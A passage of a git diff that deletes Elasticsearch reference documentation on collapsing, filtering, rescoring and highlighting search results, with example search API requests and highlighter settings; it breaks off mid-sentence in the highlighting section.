-multi search template request. If there was a complete failure for that specific
-search template request, an object with `error` message will be returned in
-place of the actual search response.
diff --git a/docs/reference/search/search-your-data/collapse-search-results.asciidoc b/docs/reference/search/search-your-data/collapse-search-results.asciidoc
deleted file mode 100644
index e4f8c8b100e..00000000000
--- a/docs/reference/search/search-your-data/collapse-search-results.asciidoc
+++ /dev/null
@@ -1,226 +0,0 @@
-[[collapse-search-results]]
-== Collapse search results
-
-You can use the `collapse` parameter to collapse search results based
-on field values. The collapsing is done by selecting only the top sorted
-document per collapse key.
-
-For example, the following search collapses results by `user.id` and sorts them
-by `http.response.bytes`.
-
-[source,console]
---------------------------------------------------
-GET /my-index-000001/_search
-{
-  "query": {
-    "match": {
-      "message": "GET /search"
-    }
-  },
-  "collapse": {
-    "field": "user.id"                <1>
-  },
-  "sort": [ "http.response.bytes" ],  <2>
-  "from": 10                          <3>
-}
---------------------------------------------------
-// TEST[setup:my_index]
-
-<1> Collapse the result set using the "user.id" field
-<2> Sort the results by `http.response.bytes`
-<3> define the offset of the first collapsed result
-
-WARNING: The total number of hits in the response indicates the number of matching documents without collapsing.
-The total number of distinct group is unknown.
-
-The field used for collapsing must be a single valued <<keyword, `keyword`>> or <<number, `numeric`>> field with <<doc-values, `doc_values`>> activated
-
-NOTE: The collapsing is applied to the top hits only and does not affect aggregations.
-
-[discrete]
-[[expand-collapse-results]]
-=== Expand collapse results
-
-It is also possible to expand each collapsed top hits with the `inner_hits` option.
-
-[source,console]
---------------------------------------------------
-GET /my-index-000001/_search
-{
-  "query": {
-    "match": {
-      "message": "GET /search"
-    }
-  },
-  "collapse": {
-    "field": "user.id",                       <1>
-    "inner_hits": {
-      "name": "most_recent",                  <2>
-      "size": 5,                              <3>
-      "sort": [ { "@timestamp": "asc" } ]     <4>
-    },
-    "max_concurrent_group_searches": 4        <5>
-  },
-  "sort": [ "http.response.bytes" ]
-}
---------------------------------------------------
-// TEST[setup:my_index]
-
-<1> collapse the result set using the "user.id" field
-<2> the name used for the inner hit section in the response
-<3> the number of inner_hits to retrieve per collapse key
-<4> how to sort the document inside each group
-<5> the number of concurrent requests allowed to retrieve the `inner_hits` per group
-
-See <<inner-hits, inner hits>> for the complete list of supported options and the format of the response.
-
-It is also possible to request multiple `inner_hits` for each collapsed hit.  This can be useful when you want to get
-multiple representations of the collapsed hits.
-
-[source,console]
---------------------------------------------------
-GET /my-index-000001/_search
-{
-  "query": {
-    "match": {
-      "message": "GET /search"
-    }
-  },
-  "collapse": {
-    "field": "user.id",                      <1>
-      "inner_hits": [
-      {
-        "name": "largest_responses",         <2>
-        "size": 3,
-        "sort": [ "http.response.bytes" ]
-      },
-      {
-        "name": "most_recent",               <3>
-        "size": 3,
-        "sort": [ { "@timestamp": "asc" } ]
-      }
-    ]
-  },
-  "sort": [ "http.response.bytes" ]
-}
---------------------------------------------------
-// TEST[setup:my_index]
-
-<1> collapse the result set using the "user.id" field
-<2> return the three largest HTTP responses for the user
-<3> return the three most recent HTTP responses for the user
-
-The expansion of the group is done by sending an additional query for each
-`inner_hit` request for each collapsed hit returned in the response.  This can significantly slow things down
-if you have too many groups and/or `inner_hit` requests.
-
-The `max_concurrent_group_searches` request parameter can be used to control
-the maximum number of concurrent searches allowed in this phase.
-The default is based on the number of data nodes and the default search thread pool size.
-
-WARNING: `collapse` cannot be used in conjunction with <<scroll-search-results, scroll>>,
-<<rescore, rescore>> or <<search-after, search after>>.
-
-[discrete]
-[[second-level-of-collapsing]]
-=== Second level of collapsing
-
-Second level of collapsing is also supported and is applied to `inner_hits`.
-
-For example, the following search collapses results by `geo.country_name`.
-Within each `geo.country_name`, inner hits are collapsed by `user.id`.
-
-[source,js]
---------------------------------------------------
-GET /my-index-000001/_search
-{
-  "query": {
-    "match": {
-      "message": "GET /search"
-    }
-  },
-  "collapse": {
-    "field": "geo.country_name",
-    "inner_hits": {
-      "name": "by_location",
-      "collapse": { "field": "user.id" },
-      "size": 3
-    }
-  }
-}
---------------------------------------------------
-// NOTCONSOLE
-
-
-Response:
-[source,js]
---------------------------------------------------
-{
-  ...
-  "hits": [
-    {
-      "_index": "my-index-000001",
-      "_type": "_doc",
-      "_id": "9",
-      "_score": ...,
-      "_source": {...},
-      "fields": { "geo": { "country_name": [ "UK" ] }},
-      "inner_hits": {
-        "by_location": {
-          "hits": {
-            ...,
-            "hits": [
-              {
-                ...
-                "fields": { "user": "id": { [ "user124" ] }}
-              },
-              {
-                ...
-                "fields": { "user": "id": { [ "user589" ] }}
-              },
-              {
-                ...
-                "fields": { "user": "id": { [ "user001" ] }}
-              }
-            ]
-          }
-        }
-      }
-    },
-    {
-      "_index": "my-index-000001",
-      "_type": "_doc",
-      "_id": "1",
-      "_score": ..,
-      "_source": {...
-      },
-      "fields": { "geo": { "country_name": [ "Canada" ] }},
-      "inner_hits": {
-        "by_location": {
-          "hits": {
-            ...,
-            "hits": [
-              {
-                ...
-                "fields": { "user": "id": { [ "user444" ] }}
-              },
-              {
-                ...
-                "fields": { "user": "id": { [ "user1111" ] }
-              },
-              {
-                ...
-                  "fields": { "user": "id": { [ "user999" ] }}
-              }
-            ]
-          }
-        }
-      }
-    },
-    ...
-  ]
-}
---------------------------------------------------
-// NOTCONSOLE
-
-NOTE: Second level of collapsing doesn't allow `inner_hits`.
\ No newline at end of file
diff --git a/docs/reference/search/search-your-data/filter-search-results.asciidoc b/docs/reference/search/search-your-data/filter-search-results.asciidoc
deleted file mode 100644
index 2704f1d1141..00000000000
--- a/docs/reference/search/search-your-data/filter-search-results.asciidoc
+++ /dev/null
@@ -1,291 +0,0 @@
-[[filter-search-results]]
-== Filter search results
-
-You can use two methods to filter search results:
-
-* Use a boolean query with a `filter` clause. Search requests apply
-<<query-dsl-bool-query,boolean filters>> to both search hits and
-<<search-aggregations,aggregations>>.
-
-* Use the search API's `post_filter` parameter. Search requests apply
-<<post-filter,post filters>> only to search hits, not aggregations. You can use
-a post filter to calculate aggregations based on a broader result set, and then
-further narrow the results.
-+
-You can also <<rescore,rescore>> hits after the post filter to
-improve relevance and reorder results.
-
-[discrete]
-[[post-filter]]
-=== Post filter
-
-When you use the `post_filter` parameter to filter search results, the search
-hits are filtered after the aggregations are calculated. A post filter has no
-impact on the aggregation results.
-
-For example, you are selling shirts that have the following properties:
-
-[source,console]
---------------------------------------------------
-PUT /shirts
-{
-  "mappings": {
-    "properties": {
-      "brand": { "type": "keyword"},
-      "color": { "type": "keyword"},
-      "model": { "type": "keyword"}
-    }
-  }
-}
-
-PUT /shirts/_doc/1?refresh
-{
-  "brand": "gucci",
-  "color": "red",
-  "model": "slim"
-}
---------------------------------------------------
-// TESTSETUP
-
-
-Imagine a user has specified two filters:
-
-`color:red` and `brand:gucci`.  You only want to show them red shirts made by
-Gucci in the search results.  Normally you would do this with a 
-<<query-dsl-bool-query,`bool` query>>:
-
-[source,console]
---------------------------------------------------
-GET /shirts/_search 
-{
-  "query": {
-    "bool": {
-      "filter": [
-        { "term": { "color": "red"   }},
-        { "term": { "brand": "gucci" }}
-      ]
-    }
-  }
-}
---------------------------------------------------
-
-However, you would also like to use _faceted navigation_ to display a list of
-other options that the user could click on.  Perhaps you have a `model` field
-that would allow the user to limit their search results to red Gucci
-`t-shirts` or `dress-shirts`.
-
-This can be done with a 
-<<search-aggregations-bucket-terms-aggregation,`terms` aggregation>>:
-
-[source,console]
---------------------------------------------------
-GET /shirts/_search 
-{
-  "query": {
-    "bool": {
-      "filter": [
-        { "term": { "color": "red"   }},
-        { "term": { "brand": "gucci" }}
-      ]
-    }
-  },
-  "aggs": {
-    "models": {
-      "terms": { "field": "model" } <1>
-    }
-  }
-}
---------------------------------------------------
-
-<1> Returns the most popular models of red shirts by Gucci.
-
-But perhaps you would also like to tell the user how many Gucci shirts are
-available in *other colors*. If you just add a `terms` aggregation on the
-`color` field, you will only get back the color `red`, because your query
-returns only red shirts by Gucci.
-
-Instead, you want to include shirts of all colors during aggregation, then
-apply the `colors` filter only to the search results.  This is the purpose of
-the `post_filter`:
-
-[source,console]
---------------------------------------------------
-GET /shirts/_search
-{
-  "query": {
-    "bool": {
-      "filter": {
-        "term": { "brand": "gucci" } <1>
-      }
-    }
-  },
-  "aggs": {
-    "colors": {
-      "terms": { "field": "color" } <2>
-    },
-    "color_red": {
-      "filter": {
-        "term": { "color": "red" } <3>
-      },
-      "aggs": {
-        "models": {
-          "terms": { "field": "model" } <3>
-        }
-      }
-    }
-  },
-  "post_filter": { <4>
-    "term": { "color": "red" }
-  }
-}
---------------------------------------------------
-
-<1> The main query now finds all shirts by Gucci, regardless of color.
-<2> The `colors` agg returns popular colors for shirts by Gucci.
-<3> The `color_red` agg limits the `models` sub-aggregation 
-    to *red* Gucci shirts.
-<4> Finally, the `post_filter` removes colors other than red
-    from the search `hits`.
-
-[discrete]
-[[rescore]]
-=== Rescore filtered search results
-
-Rescoring can help to improve precision by reordering just the top (eg
-100 - 500) documents returned by the
-<<request-body-search-query,`query`>> and
-<<post-filter,`post_filter`>> phases, using a
-secondary (usually more costly) algorithm, instead of applying the
-costly algorithm to all documents in the index.
-
-A `rescore` request is executed on each shard before it returns its
-results to be sorted by the node handling the overall search request.
-
-Currently the rescore API has only one implementation: the query
-rescorer, which uses a query to tweak the scoring. In the future,
-alternative rescorers may be made available, for example, a pair-wise rescorer.
-
-NOTE: An error will be thrown if an explicit <<sort-search-results,`sort`>>
-(other than `_score` in descending order) is provided with a `rescore` query.
-
-NOTE: when exposing pagination to your users, you should not change
-`window_size` as you step through each page (by passing different
-`from` values) since that can alter the top hits causing results to
-confusingly shift as the user steps through pages.
-
-[discrete]
-[[query-rescorer]]
-==== Query rescorer
-
-The query rescorer executes a second query only on the Top-K results
-returned by the <<request-body-search-query,`query`>> and
-<<post-filter,`post_filter`>> phases. The
-number of docs which will be examined on each shard can be controlled by
-the `window_size` parameter, which defaults to 10.
-
-By default the scores from the original query and the rescore query are
-combined linearly to produce the final `_score` for each document. The
-relative importance of the original query and of the rescore query can
-be controlled with the `query_weight` and `rescore_query_weight`
-respectively. Both default to `1`.
-
-For example:
-
-[source,console]
---------------------------------------------------
-POST /_search
-{
-   "query" : {
-      "match" : {
-         "message" : {
-            "operator" : "or",
-            "query" : "the quick brown"
-         }
-      }
-   },
-   "rescore" : {
-      "window_size" : 50,
-      "query" : {
-         "rescore_query" : {
-            "match_phrase" : {
-               "message" : {
-                  "query" : "the quick brown",
-                  "slop" : 2
-               }
-            }
-         },
-         "query_weight" : 0.7,
-         "rescore_query_weight" : 1.2
-      }
-   }
-}
---------------------------------------------------
-// TEST[setup:my_index]
-
-The way the scores are combined can be controlled with the `score_mode`:
-[cols="<,<",options="header",]
-|=======================================================================
-|Score Mode |Description
-|`total`    |Add the original score and the rescore query score.  The default.
-|`multiply` |Multiply the original score by the rescore query score.  Useful
-for <<query-dsl-function-score-query,`function query`>> rescores.
-|`avg`      |Average the original score and the rescore query score.
-|`max`      |Take the max of original score and the rescore query score.
-|`min`      |Take the min of the original score and the rescore query score.
-|=======================================================================
-
-[discrete]
-[[multiple-rescores]]
-==== Multiple rescores
-
-It is also possible to execute multiple rescores in sequence:
-
-[source,console]
---------------------------------------------------
-POST /_search
-{
-   "query" : {
-      "match" : {
-         "message" : {
-            "operator" : "or",
-            "query" : "the quick brown"
-         }
-      }
-   },
-   "rescore" : [ {
-      "window_size" : 100,
-      "query" : {
-         "rescore_query" : {
-            "match_phrase" : {
-               "message" : {
-                  "query" : "the quick brown",
-                  "slop" : 2
-               }
-            }
-         },
-         "query_weight" : 0.7,
-         "rescore_query_weight" : 1.2
-      }
-   }, {
-      "window_size" : 10,
-      "query" : {
-         "score_mode": "multiply",
-         "rescore_query" : {
-            "function_score" : {
-               "script_score": {
-                  "script": {
-                    "source": "Math.log10(doc.count.value + 2)"
-                  }
-               }
-            }
-         }
-      }
-   } ]
-}
---------------------------------------------------
-// TEST[setup:my_index]
-
-The first one gets the results of the query then the second one gets the
-results of the first, etc.  The second rescore will "see" the sorting done
-by the first rescore so it is possible to use a large window on the first
-rescore to pull documents into a smaller window for the second rescore.
diff --git a/docs/reference/search/search-your-data/highlighting.asciidoc b/docs/reference/search/search-your-data/highlighting.asciidoc
deleted file mode 100644
index 97e471ea474..00000000000
--- a/docs/reference/search/search-your-data/highlighting.asciidoc
+++ /dev/null
@@ -1,1124 +0,0 @@
-[[highlighting]]
-== Highlighting
-
-Highlighters enable you to get highlighted snippets from one or more fields
-in your search results so you can show users where the query matches are.
-When you request highlights, the response contains an additional `highlight`
-element for each search hit that includes the highlighted fields and the
-highlighted fragments.
-
-NOTE: Highlighters don't reflect the boolean logic of a query when extracting
- terms to highlight. Thus, for some complex boolean queries (e.g nested boolean
- queries, queries using `minimum_should_match` etc.), parts of documents may be
- highlighted that don't correspond to query matches.
-
-Highlighting requires the actual content of a field. If the field is not
-stored (the mapping does not set `store` to `true`), the actual `_source` is
-loaded and the relevant field is extracted from `_source`.
-
-For example, to get highlights for the `content` field in each search hit
-using the default highlighter, include a `highlight` object in
-the request body that specifies the `content` field:
-
-[source,console]
---------------------------------------------------
-GET /_search
-{
-  "query": {
-    "match": { "content": "kimchy" }
-  },
-  "highlight": {
-    "fields": {
-      "content": {}
-    }
-  }
-}
---------------------------------------------------
-// TEST[setup:my_index]
-
-{es} supports three highlighters: `unified`, `plain`, and `fvh` (fast vector
-highlighter). You can specify the highlighter `type` you want to use
-for each field.
-
-[discrete]
-[[unified-highlighter]]
-=== Unified highlighter
-The `unified` highlighter uses the Lucene Unified Highlighter. This
-highlighter breaks the text into sentences and uses the BM25 algorithm to score
-individual sentences as if they were documents in the corpus. It also supports
-accurate phrase and multi-term (fuzzy, prefix, regex) highlighting. This is the
-default highlighter.
-
-[discrete]
-[[plain-highlighter]]
-=== Plain highlighter
-The `plain` highlighter uses the standard Lucene highlighter. It attempts to
-reflect the query matching logic in terms of understanding word importance and
-any word positioning criteria in phrase queries.
-
-[WARNING]
-The `plain` highlighter works best for highlighting simple query matches in a
-single field. To accurately reflect query logic, it creates a tiny in-memory
-index and re-runs the original query criteria through Lucene's query execution
-planner to get access to low-level match information for the current document.
-This is repeated for every field and every document that needs to be highlighted.
-If you want to highlight a lot of fields in a lot of documents with complex
-queries, we recommend using the `unified` highlighter on `postings` or `term_vector` fields.
-
-[discrete]
-[[fast-vector-highlighter]]
-=== Fast vector highlighter
-The `fvh` highlighter uses the Lucene Fast Vector highlighter.
-This highlighter can be used on fields with `term_vector` set to
-`with_positions_offsets` in the mapping. The fast vector highlighter:
-
-* Can be customized with  a <<boundary-scanners,`boundary_scanner`>>.
-* Requires setting `term_vector` to `with_positions_offsets` which
-  increases the size of the index
-* Can combine matches from multiple fields into one result.  See
-  `matched_fields`
-* Can assign different weights to matches at different positions allowing
-  for things like phrase matches being sorted above term matches when
-  highlighting a Boosting Query that boosts phrase matches over term matches
-
-[WARNING]
-The `fvh` highlighter does not support span queries. If you need support for
-span queries, try an alternative highlighter, such as the `unified` highlighter.
-
-[discrete]
-[[offsets-strategy]]
-=== Offsets strategy
-To create meaningful search snippets from the terms being queried,
-the highlighter needs to know the start and end character offsets of each word
-in the original text. These offsets can be obtained from:
-
-* The postings list. If `index_options` is set to `offsets` in the mapping,
-the `unified` highlighter uses this information to highlight documents without
-re-analyzing the text. It re-runs the original query directly on the postings
-and extracts the matching offsets from the index, limiting the collection to
-the highlighted documents. This is important if you have large fields because
-it doesn't require reanalyzing the text to be highlighted. It also requires less
-disk space than using `term_vectors`.
-
-* Term vectors. If `term_vector` information is provided by setting
-`term_vector` to `with_positions_offsets` in the mapping, the `unified`
-highlighter automatically uses the `term_vector` to highlight the field.
-It's fast especially for large fields (> `1MB`) and for highlighting multi-term queries like
-`prefix` or `wildcard` because it can access the dictionary of terms for each document.
-The `fvh` highlighter always uses term vectors.
-
-* Plain highlighting. This mode is used by the `unified` when there is no other alternative.
-It creates a tiny in-memory index and re-runs the original query criteria through
-Lucene's query execution planner to get access to low-level match information on
-the current document. This is repeated for every field and every document that
-needs highlighting. The `plain` highlighter always uses plain highlighting.
-
-[WARNING]
-Plain highlighting for large texts may require substantial amount of time and memory.
-To protect against this, the maximum number of text characters that will be analyzed has been
-limited to 1000000. This default limit can be changed
-for a particular index with the index setting `index.highlight.max_analyzed_offset`.
-
-[discrete]
-[[highlighting-settings]]
-=== Highlighting settings
-
-Highlighting settings can be set on a global level and overridden at
-the field level.
-
-boundary_chars:: A string that contains each boundary character.
-Defaults to `.,!? \t\n`.
-
-boundary_max_scan:: How far to scan for boundary characters. Defaults to `20`.
-
-[[boundary-scanners]]
-boundary_scanner:: Specifies how to break the highlighted fragments: `chars`,
-`sentence`, or `word`. Only valid for the `unified` and `fvh` highlighters.
-Defaults to `sentence` for the `unified` highlighter. Defaults to `chars` for
-the `fvh` highlighter.
-`chars`::: Use the characters specified by `boundary_chars` as highlighting
-boundaries.  The `boundary_max_scan` setting controls how far to scan for
-boundary characters. Only valid for the `fvh` highlighter.
-`sentence`::: Break highlighted fragments at the next sentence boundary, as
-determined by Java's
-https://docs.oracle.com/javase/8/docs/api/java/text/BreakIterator.html[BreakIterator].
-You can specify the locale to use with `boundary_scanner_locale`.
-+
-NOTE: When used with the `unified` highlighter, the `sentence` scanner splits
-sentences bigger than `fragment_size` at the first word boundary next to
-`fragment_size`. You can set `fragment_size` to 0 to never split any sentence.
-
-`word`::: Break highlighted fragments at the next word boundary, as determined
-by Java's https://docs.oracle.com/javase/8/docs/api/java/text/BreakIterator.html[BreakIterator].
-You can specify the locale to use with `boundary_scanner_locale`.
-
-boundary_scanner_locale:: Controls which locale is used to search for sentence
-and word boundaries. This parameter takes a form of a language tag,
-e.g. `"en-US"`,  `"fr-FR"`, `"ja-JP"`. More info can be found in the
-https://docs.oracle.com/javase/8/docs/api/java/util/Locale.html#forLanguageTag-java.lang.String-[Locale Language Tag]
-documentation. The default value is https://docs.oracle.com/javase/8/docs/api/java/util/Locale.html#ROOT[ Locale.ROOT].
-
-encoder:: Indicates if the snippet should be HTML encoded:
-`default` (no encoding) or `html` (HTML-escape the snippet text and then
-insert the highlighting tags)
-
-fields:: Specifies the fields to retrieve highlights for. You can use wildcards
-to specify fields. For example, you could specify `comment_*` to
-get highlights for all <<text,text>> and <<keyword,keyword>> fields
-that start with `comment_`.
-+
-NOTE: Only text and keyword fields are highlighted when you use wildcards.
-If you use a custom mapper and want to highlight on a field anyway, you
-must explicitly specify that field name.
-
-force_source:: Highlight based on the source even if the field is
-stored separately. Defaults to `false`.
-
-fragmenter:: Specifies how text should be broken up in highlight
-snippets: `simple` or `span`. Only valid for the `plain` highlighter.
-Defaults to `span`.
-
-`simple`::: Breaks up text into same-sized fragments.
-`span`::: Breaks up text into same-sized fragments, but tries to avoid
-breaking up text between highlighted terms. This is helpful when you're
-querying for phrases. Default.
-
-fragment_offset:: Controls the margin from which you want to start
-highlighting. Only valid when using the `fvh` highlighter.
-
-fragment_size:: The size of the highlighted fragment in characters. Defaults
-to 100.
-
-highlight_query:: Highlight matches for a query other than the search
-query. This is especially useful if you use a rescore query because
-those are not taken into account by highlighting by default.
-+
-IMPORTANT: {es} does not validate that `highlight_query` contains
-the search query in any way so it is possible to define it so
-legitimate query results are not highlighted. Generally, you should
-include the search query as part of the `highlight_query`.
-
-matched_fields:: Combine matches on multiple fields to highlight a single field.
-This is most intuitive for multifields that analyze the same string in different
-ways.  All `matched_fields` must have `term_vector` set to
-`with_positions_offsets`, but only the field to which
-the matches are combined is loaded so only that field benefits from having
-`store` set to `yes`. Only valid for the `fvh` highlighter.
-
-no_match_size:: The amount of text you want to return from the beginning
-of the field if there are no matching fragments to highlight. Defaults
-to 0 (nothing is returned).
-
-number_of_fragments:: The maximum number of fragments to return. If the
-number of fragments is set to 0, no fragments are returned. Instead,
-the entire field contents are highlighted and returned. This can be
-handy when you need to highlight short texts such as a title or
-address, but fragmentation is not required. If `number_of_fragments`
-is 0, `fragment_size` is ignored. Defaults to 5.
-
-order:: Sorts highlighted fragments by score when set to `score`.  By default,
-fragments will be output in the order they appear in the field (order: `none`).
-Setting this option to `score` will output the most relevant fragments first.
-Each highlighter applies its own logic to compute relevancy scores. See
-the document <<how-es-highlighters-work-internally, How highlighters work internally>>
-for more details how different highlighters find the best fragments.
-
-phrase_limit:: Controls the number of matching phrases in a document that are
-considered. Prevents the `fvh` highlighter from analyzing too many phrases
-and consuming too much memory. When using `matched_fields`, `phrase_limit`
-phrases per matched field are considered. Raising the limit increases query
-time and consumes more memory. Only supported by the `fvh` highlighter.
-Defaults to 256.
-
-pre_tags:: Use in conjunction with `post_tags` to define the HTML tags
-to use for the highlighted text. By default, highlighted text is wrapped
-in `<em>` and `</em>` tags. Specify as an array of strings.
-
-post_tags:: Use in conjunction with `pre_tags` to define the HTML tags
-to use for the highlighted text. By default, highlighted text is wrapped
-in `<em>` and `</em>` tags. Specify as an array of strings.
-
-require_field_match:: By default, only fields that contains a query match are
-highlighted. Set `require_field_match` to `false` to highlight all fields.
-Defaults to `true`.
-
-tags_schema:: Set to `styled` to use the built-in tag schema. The `styled`
-schema defines the following `pre_tags` and defines `post_tags` as
-`</em>`.
-+
-[source,html]
---------------------------------------------------
-<em class="hlt1">, <em class="hlt2">, <em class="hlt3">,
-<em class="hlt4">, <em class="hlt5">, <em class="hlt6">,
-<em class="hlt7">, <em class="hlt8">, <em class="hlt9">,
-<em class="hlt10">
---------------------------------------------------
-
-[[highlighter-type]]
-type:: The highlighter to use: `unified`, `plain`, or `fvh`. Defaults to
-`unified`.
-
-[discrete]
-[[highlighting-examples]]
-=== Highlighting examples
-
-* <<override-global-settings, Override global settings>>
-* <<specify-highlight-query, Specify a highlight query>>
-* <<set-highlighter-type, Set highlighter type>>
-* <<configure-tags, Configure highlighting tags>>
-* <<highlight-source, Highlight source>>
-* <<highlight-all, Highlight all fields>>
-* <<matched-fields, Combine matches on multiple fields>>
-* <<explicit-field-order, Explicitly order highlighted fields>>
-* <<control-highlighted-frags, Control highlighted fragments>>
-* <<highlight-postings-list, Highlight using the postings list>>
-* <<specify-fragmenter, Specify a fragmenter for the plain highlighter>>
-
-[[override-global-settings]]
-[discrete]
-== Override global settings
-
-You can specify highlighter settings globally and selectively override them for
-individual fields.
-
-[source,console]
---------------------------------------------------
-GET /_search
-{
-  "query" : {
-    "match": { "user.id": "kimchy" }
-  },
-  "highlight" : {
-    "number_of_fragments" : 3,
-    "fragment_size" : 150,
-    "fields" : {
-      "body" : { "pre_tags" : ["<em>"], "post_tags" : ["</em>"] },
-      "blog.title" : { "number_of_fragments" : 0 },
-      "blog.author" : { "number_of_fragments" : 0 },
-      "blog.comment" : { "number_of_fragments" : 5, "order" : "score" }
-    }
-  }
-}
---------------------------------------------------
-// TEST[setup:my_index]
-
-[discrete]
-[[specify-highlight-query]]
-== Specify a highlight query
-
-You can specify a `highlight_query` to take additional information into account
-when highlighting. For example, the following query includes both the search
-query and rescore query in the `highlight_query`. Without the `highlight_query`,
-highlighting would only take the search query into account.
-
-[source,console]
---------------------------------------------------
-GET /_search
-{
-  "query": {
-    "match": {
-      "comment": {
-        "query": "foo bar"
-      }
-    }
-  },
-  "rescore": {
-    "window_size": 50,
-    "query": {
-      "rescore_query": {
-        "match_phrase": {
-          "comment": {
-            "query": "foo bar",
-            "slop": 1
-          }
-        }
-      },
-      "rescore_query_weight": 10
-    }
-  },
-  "_source": false,
-  "highlight": {
-    "order": "score",
-    "fields": {
-      "comment": {
-        "fragment_size": 150,
-        "number_of_fragments": 3,
-        "highlight_query": {
-          "bool": {
-            "must": {
-              "match": {
-                "comment": {
-                  "query": "foo bar"
-                }
-              }
-            },
-            "should": {
-              "match_phrase": {
-                "comment": {
-                  "query": "foo bar",
-                  "slop": 1,
-                  "boost": 10.0
-                }
-              }
-            },
-            "minimum_should_match": 0
-          }
-        }
-      }
-    }
-  }
-}
---------------------------------------------------
-// TEST[setup:my_index]
-
-[discrete]
-[[set-highlighter-type]]
-== Set highlighter type
-
-The `type` field allows to force a specific highlighter type.
-The allowed values are: `unified`, `plain` and `fvh`.
-The following is an example that forces the use of the plain highlighter:
-
-[source,console]
---------------------------------------------------
-GET /_search
-{
-  "query": {
-    "match": { "user.id": "kimchy" }
-  },
-  "highlight": {
-    "fields": {
-      "comment": { "type": "plain" }
-    }
-  }
-}
---------------------------------------------------
-// TEST[setup:my_index]
-
-[[configure-tags]]
-[discrete]
-== Configure highlighting tags
-
-By default, the highlighting will wrap highlighted text in `<em>` and
-`</em>`. This can be controlled by setting `pre_tags` and `post_tags`,
-for example:
-
-[source,console]
---------------------------------------------------
-GET /_search
-{
-  "query" : {
-    "match": { "user.id": "kimchy" }
-  },
-  "highlight" : {
-    "pre_tags" : ["<tag1>"],
-    "post_tags" : ["</tag1>"],
-    "fields" : {
-      "body" : {}
-    }
-  }
-}
---------------------------------------------------
-// TEST[setup:my_index]
-
-When using the fast vector highlighter, you can specify additional tags and the
-"importance" is ordered.
-
-[source,console]
---------------------------------------------------
-GET /_search
-{
-  "query" : {
-    "match": { "user.id": "kimchy" }
-  },
-  "highlight" : {
-    "pre_tags" : ["<tag1>", "<tag2>"],
-    "post_tags" : ["</tag1>", "</tag2>"],
-    "fields" : {
-      "body" : {}
-    }
-  }
-}
---------------------------------------------------
-// TEST[setup:my_index]
-
-You can also use the built-in `styled` tag schema:
-
-[source,console]
---------------------------------------------------
-GET /_search
-{
-  "query" : {
-    "match": { "user.id": "kimchy" }
-  },
-  "highlight" : {
-    "tags_schema" : "styled",
-    "fields" : {
-      "comment" : {}
-    }
-  }
-}
---------------------------------------------------
-// TEST[setup:my_index]
-
-[discrete]
-[[highlight-source]]
-== Highlight on source
-
-Forces the highlighting to highlight fields based on the source even if fields
-are stored separately. Defaults to `false`.
-
-[source,console]
---------------------------------------------------
-GET /_search
-{
-  "query" : {
-    "match": { "user.id": "kimchy" }
-  },
-  "highlight" : {
-    "fields" : {
-      "comment" : {"force_source" : true}
-    }
-  }
-}
---------------------------------------------------
-// TEST[setup:my_index]
-
-
-[[highlight-all]]
-[discrete]
-== Highlight in all fields
-
-By default, only fields that contains a query match are highlighted. Set
-`require_field_match` to `false` to highlight all fields.
-
-[source,console]
---------------------------------------------------
-GET /_search
-{
-  "query" : {
-    "match": { "user.id": "kimchy" }
-  },
-  "highlight" : {
-    "require_field_match": false,
-    "fields": {
-      "body" : { "pre_tags" : ["<em>"], "post_tags" : ["</em>"] }
-    }
-  }
-}
---------------------------------------------------
-// TEST[setup:my_index]
-
-[[matched-fields]]
-[discrete]
-== Combine matches on multiple fields
-
-WARNING: This is only supported by the `fvh` highlighter
-
-The Fast Vector Highlighter can combine matches on multiple fields to
-highlight a single field.  This is most intuitive for multifields that
-analyze the same string in different ways.  All `matched_fields` must have
-`term_vector` set to `with_positions_offsets` but only the field to which
-the matches are combined is loaded so only that field would benefit from having
-`store` set to `yes`.
-
-In the following examples, `comment` is analyzed by the `english`
-analyzer and `comment.plain` is analyzed by the `standard` analyzer.
-
-[source,console]
---------------------------------------------------
-GET /_search
-{
-  "query": {
-    "query_string": {
-      "query": "comment.plain:running scissors",
-      "fields": [ "comment" ]
-    }
-  },
-  "highlight": {
-    "order": "score",
-    "fields": {
-      "comment": {
-        "matched_fields": [ "comment", "comment.plain" ],
-        "type": "fvh"
-      }
-    }
-  }
-}
---------------------------------------------------
-// TEST[setup:my_index]
-
-The above matches both "run with scissors" and "running with scissors"
-and would highlight "running" and "scissors" but not "run". If both
-phrases appear in a large document then "running with scissors" is
-sorted above "run with scissors" in the fragments list because there
-are more matches in that fragment.
-
-[source,console]
---------------------------------------------------
-GET /_search
-{
-  "query": {
-    "query_string": {
-      "query": "running scissors",
-      "fields": ["comment", "comment.plain^10"]
-    }
-  },
-  "highlight": {
-    "order": "score",
-    "fields": {
-      "comment": {
-        "matched_fields": ["comment", "comment.plain"],
-        "type" : "fvh"
-      }
-    }
-  }
-}
---------------------------------------------------
-// TEST[setup:my_index]
-
-The above highlights "run" as well as "running" and "scissors" but
-still sorts "running with scissors" above "run with scissors" because
-the plain match ("running") is boosted.
-
-[source,console]
---------------------------------------------------
-GET /_search
-{
-  "query": {
-    "query_string": {
-      "query": "running scissors",
-      "fields": [ "comment", "comment.plain^10" ]
-    }
-  },
-  "highlight": {
-    "order": "score",
-    "fields": {
-      "comment": {
-        "matched_fields": [ "comment.plain" ],
-        "type": "fvh"
-      }
-    }
-  }
-}
---------------------------------------------------
-// TEST[setup:my_index]
-
-The above query wouldn't highlight "run" or "scissor" but shows that
-it is just fine not to list the field to which the matches are combined
-(`comment`) in the matched fields.
-
-[NOTE]
-Technically it is also fine to add fields to `matched_fields` that
-don't share the same underlying string as the field to which the matches
-are combined.  The results might not make much sense and if one of the
-matches is off the end of the text then the whole query will fail.
-
-[NOTE]
-===================================================================
-There is a small amount of overhead involved with setting
-`matched_fields` to a non-empty array so always prefer
-[source,js]
---------------------------------------------------
-    "highlight": {
-        "fields": {
-            "comment": {}
-        }
-    }
---------------------------------------------------
-// NOTCONSOLE
-to
-[source,js]
---------------------------------------------------
-    "highlight": {
-        "fields": {
-            "comment": {
-                "matched_fields": ["comment"],
-                "type" : "fvh"
-            }
-        }
-    }
---------------------------------------------------
-// NOTCONSOLE
-===================================================================
-
-
-[[explicit-field-order]]
-[discrete]
-== Explicitly order highlighted fields
-Elasticsearch highlights the fields in the order that they are sent, but per the
-JSON spec, objects are unordered.  If you need to be explicit about the order
-in which fields are highlighted specify the `fields` as an array:
-
-[source,console]
---------------------------------------------------
-GET /_search
-{
-  "highlight": {
-    "fields": [
-      { "title": {} },
-      { "text": {} }
-    ]
-  }
-}
---------------------------------------------------
-// TEST[setup:my_index]
-
-None of the highlighters built into Elasticsearch care about the order that the
